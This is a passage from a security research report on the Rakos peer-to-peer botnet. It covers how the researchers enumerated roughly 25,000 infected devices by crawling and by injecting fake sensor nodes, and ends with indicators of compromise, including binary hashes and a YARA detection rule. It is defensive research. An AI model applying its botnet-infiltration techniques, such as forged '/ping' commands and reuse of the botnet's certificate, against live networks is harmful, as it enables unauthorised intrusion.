GET /love HTTP/1.1 Like the previous command; one bot uses “/love” to query another for its own IP address and PTR (the reverse name associated with that IP address). There is a “zen” parameter we didn’t realize its function.

3. Sizing the botnet

Now that we better understand the C&C channel, let’s move on to the intelligence gathering phase. The objective here is to enumerate the population of this botnet, classify its nodes into Skaros and Checker groups and get as much information as possible about them. To this end we implemented two standard approaches to size P2P botnets, Crawling and Sensor Injection [3]

3.1. Crawling

This strategy consists of visiting as many nodes as possible and collecting information about them. The crawler starts by requesting the neighbor list from a seed node and iteratively requests neighbor lists from every newly discovered and active node until all bots are discovered [4].

To maximize our chances of finding an ‘always available and responsive’ seed node, we investigated the lists of Skaros we collected during the man-in-the-middle process and the “/ping” commands we collected to discover prevalent IP addresses. Doing this, we found a group of three IPs both present in the section “skaro” in response to the C&C command “/upgrade/vars.yaml” and in the section “proxies” in response to the C&C command “/ping”, which could make them good seed node candidates.

To validate this, we queried them manually issuing “/ping” commands. As a result, two didn’t respond, and the other answered with an SSL error message, as seen in Figure 1.

At this moment, we realized that the bots authenticate via the SSL certificate found in the C&C command responses. Using it, we issued another “/ping” to the same Skaro that, this time, answered with the expected results, including a list of up to 30 Skaros and 50 Checkers. This botnet protection/authentication mechanism indicated to us the importance of this node to the botnet and made us choose it to be our seed node. We decided to call them “Super Skaros”.

Finally, we wrote a script to automate the crawling process. The script, written in Python, iteratively requests the seed node for the Skaros it knows. Then is asks these Skaros for the Skaros they know and so on until there is no new Skaro to request. The script also creates a graph of the botnet while discovering it to make it easy to further analyze the nodes and its interconnections.

3.1. Sensor Injection

The second strategy is to inject fake nodes into the botnet as sensor nodes [5]. The objective is to offer the network fake nodes to be contacted by the others while enumerating them.

Given the restricted number of Skaros and Checkers returned by each query, the crawling approach may give us just a limited view of the whole botnet. Even when we tried to repeat the query for the same Skaro, the returned list usually included just a small number of new nodes.

To overcome this problem and to improve que quality of our enumeration process, we decided to apply the Sensor Injection method, which, for this research, consists in inserting fake nodes (Skaros and Checkers) into the botnet and collecting information about the nodes that contact them.

To insert the Checker Sensor, we basically ran the malware binary on a controlled environment preventing it from establishing any SSH outgoing connections and monitored the network traffic to enumerate all bots that contacted it. As the communication between Checkers isn’t encrypted, this strategy could give us the possibility to inspect any content posted to or from our sensor.

To insert the Skaro Sensor, we prepared a “/ping” command with manipulated “available”, “running” and “addr” parameters pointing to the IP address to one of our honeypots and sent it to a valid Skaro. Next, we issued a new “/ping” command to the same Skaro and confirmed that our Sensor Node appeared in the returned Skaro list, as seen in Figure 2

To receive and handle those HTTPS connections, we deployed a Nginx server and configured it with the botnet default SSL certificates. With this setup up and running, we started receiving POST and GET requests coming from Checkers, as seen in Figure 3.

To capture and store the data posted to the Skaro Sensor, we created a simple PHP script to append to a file the received HTTP POST parameters. In Figure 4 there is an example of a Checker posted data using the “/ping” C&C command, as always, full of information about the victim, include credentials in clear text.

Finally, to maintain our Skaro Sensor alive on the botnet, we could continually send the manipulated “/ping” command to the Skaros on the network. To implement this, we just configured the “/ping” request of the Crawling method with the appropriate values. As the Crawling would periodically visit all active Skaros, our Sensor Node would always be propagated.

3.3. Experiment environment setup

After defining the methodology and tuning the scripts, it was time to create the environment to execute the experiments, detailed in this section.

As we were dealing with a P2P botnet, distributing the Sensor Nodes in different parts of the world could give us a better view of the botnet, especially if it imposed any kind of communication restriction or load balancing based on geographic regions or IP addresses.

Thus, we distributed 5 Sensor Nodes in the following locations:

  • North America: Oregon
  • South America: São Paulo
  • Europe: Ireland
  • Southeast Asia: Singapore
  • Oceania: Australia

In each location, we installed a honeypot with the configurations and scripts necessary to run the Crawling and Sensor Injection experiments, which include:

  • Network packet capture: to capture all inbound and outbound connections;
  • A Nginx HTTPS server: to be our Skaro Sensor;
  • The Crawling Script: to run the crawling process while enumerating all Skaros and Checkers and to create graphs;
  • A Rakos binary: to be our Checker Sensor;
  • Outbound filter: all the outgoing connections on TCP port 22 (SSH) were blocked to avoid our honeypot from scanning the Internet for victims.

3.4. Running the experiments

Finally, we put our plan into action. The experiments were started simultaneously in all honeypots. Shortly after, the Crawling Process was already querying 30 to 60 Skaros and the Sensor Nodes were receiving connections from the botnet. All as expected.

After 72 hours (or 3 days), we stopped the experiment and started processing all the collected data. The results are shown in the next section.

4. Results

The experiments generated approximately 5 GB of data amongst PCAP files, HTTP requests, crawled data and graph files that were handled and inserted into an Elastic Stack [6] and Gephi [7] platforms for querying and visualization purposes. The results of both enumeration methods are summarized in Table 3.

 

Table 3: Results Summary
NODE TYPE / METHOD CRAWLING SENSOR INJECTION UNIQUE NODES
CHECKERS 498 24782 24967
SKAROS 281 239 299
>UNIQUE NODES 779 24839 25084

As we expected, the crawling strategy gave us just a small view of the whole picture. In fact, it accounted for just 3,15% of the total number of discovered nodes. The other part, 96,84% or 24,839 nodes, was found by the Sensor Nodes.

Each sensor discovered an average of 5,000 unique Checkers and 48 unique Skaros during the whole experiment. Comparing to the Crawling method, it’s interesting that although Sensor Injection could discover 50 times more Checkers, it discovered 15% less Skaros. It is also worth mentioning that the efficacy of Sensor Nodes depends on the continuous “/ping” to maintain the Sensor Nodes “alive”.

To make it easy to represent the botnet and its interconnections, we produced graphs for each crawler.  One of those graphs, as seen in Figure 5, shows in green the discovery path from the seed node to the Checkers, in lilac, passing through Skaros, in orange. In summary, each node is connected just to the node from which it was discovered by during the crawling process.

The other graph shows the real interconnection between nodes, as seen in Figure 6. Here we can see a very thick botnet where virtually all Checkers know all Skaros.

Now, plotting the discovery path graph on the world map, as seen in Figure 7, we may have an idea of the botnet worldwide. To geolocalize the nodes, we used MaxMind database [8].

Figure 8 represents all the connections received by “São Paulo” sensor. The big yellow node represents the sensor node. In lilac are the Checkers and in orange, the Skaros.

The graph for the other sensor nodes look very much like these differing basically by the geographic position of the sensor node.

The worldwide botnet distribution is shown in Figure 9. It’s clearly perceived a high node concentration in Europe, highlighting France, Italy and Spain.

The Top 10 countries are shown in Figure 10.

Another interesting finding of this research is related to the victims’ devices as seen in Figure 11. At least 45% of them are Raspberry PI followed by OpenELEC with 21.79% – which are usually deployed on Raspberries. Next, with 16,74%, comes UBNT, wireless access points devices from Ubiquiti.

This botnet relies basically on default or easy guessable passwords that devices owners fail to manage. None the less, Open ELEC systems do not even offer an easy way for users to change the default password, as shown in Figure 12 The text was extracted from Open ELEC’s website [9].

5. Indicators of Compromise

In this section are the IoCs (Indicators of Compromise) that could be used to search for this malware in your environment.

5.1. Binary hashes

Table 4: Rakos binary hashes
OS ARCH MD5 SHA256
Linux i386 4d08072825eb9e32b9736988c57050eb 7328e81a67419bba42d204a82db311db1a033c1c37d454f7adc3e1ebd635e976
Linux ARM abf87f358d265a072d3ee4a4e1ddc16f 519c236f9974279e1db3c973b2d3c4e561307cfb52dcca4b77d19004b506157d
Linux MIPS f6eed5ce7e92f4d34de98d6d262a869b f5dc3cb4d884012b8f255a4946c2914d9ecaa3382f556125124480c3c47be07e
Linux x86-64 b5cc4d3e6188cbb6a6f725b53fbf3c6b 3e538db81365c3a64af78f53cb64fd58c7843ffa690ec0996b7556fc43a876df
FreeBSD x86-64 8e9f0211e0e6448e587aaa979f311ac1 9d476b8b4326be1207e3064f0aa0e01646277722c50c8e9a61c8c87f53416075

5.2. Yara Rules

strings:

            $ = “upgrade/vars.yaml”

            $ = “upgrade/up”

            $ = “/tmp/init”

            $ = “dalek”

            $ = “skaro”

condition:

            4 of them

5.3. URL Filtering

GET /love

User-Agent: Go-http-client/1.1

6. Final Words

This research revealed a network of controlled devices we defined as a “Transient Botnet”. The term transient refers to the non-persistence aspect of Rakos malware which means that a single bot remains on the network after a reboot only if it gets compromised again, just like Mirai. In other words, we are dealing with a threat that, like many others, counts on the certainty of the abundance of victims and that most them will remain vulnerable – even though this vulnerability could be avoided by a password change.

This transient aspect was reflected in the results we found. During the experiments, the number of nodes floated during the period with peaks of 1,700 new IP addresses which could be existing victims we didn’t know yet or simply new infected or re-infected nodes. Considering this fluctuation, from the 25084 unique nodes discovered in 72 hours, we may consider an average of 8362 bots per 24 hours which certainly represents risks if they were used together in DDoS attacks, for example.

This individual problem that potentially leads to a global threat reminds us the difficult adoption of BCP 38 (Best Current Practices) [10] that specifies how Internet Services Provides (ISPs) could individually cooperate by configuring its routers to defeat DDoS amplification attacks over the Internet. The difference is that in password vulnerability problems we don’t have a guideline or an imposed rule; it involves much more devices and, especially, people.

Finally, it’s worth mentioning that during the 30 days we analyzed this botnet, we didn’t notice any malicious actions other them the SSH brute-force scanner itself. It seems that someone is preparing it to be sold or to offer “services” using it when it gets in the right size. Thinking this way, the innocuous-looking may be a strategy to fly under the radar.

7. References

[1] http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/

[2] https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html

[3] Rossow, Christian, et al. “Sok: P2pwned-modeling and evaluating the resilience of peer-to-peer botnets.” Security and Privacy (SP), 2013 IEEE Symposium on. IEEE, 2013.

[4] J. Kang and J.-Y. Zhang. Application Entropy Theory to Detect New Peer-to-Peer Botnets with Multi-chart CUSUM. In Proceedings of the 2nd International Symposium on Electronic

[5] Karuppayah, Shankar, et al. “On advanced monitoring in resilient and unstructured P2P botnets.” Communications (ICC), 2014 IEEE International Conference on. IEEE, 2014.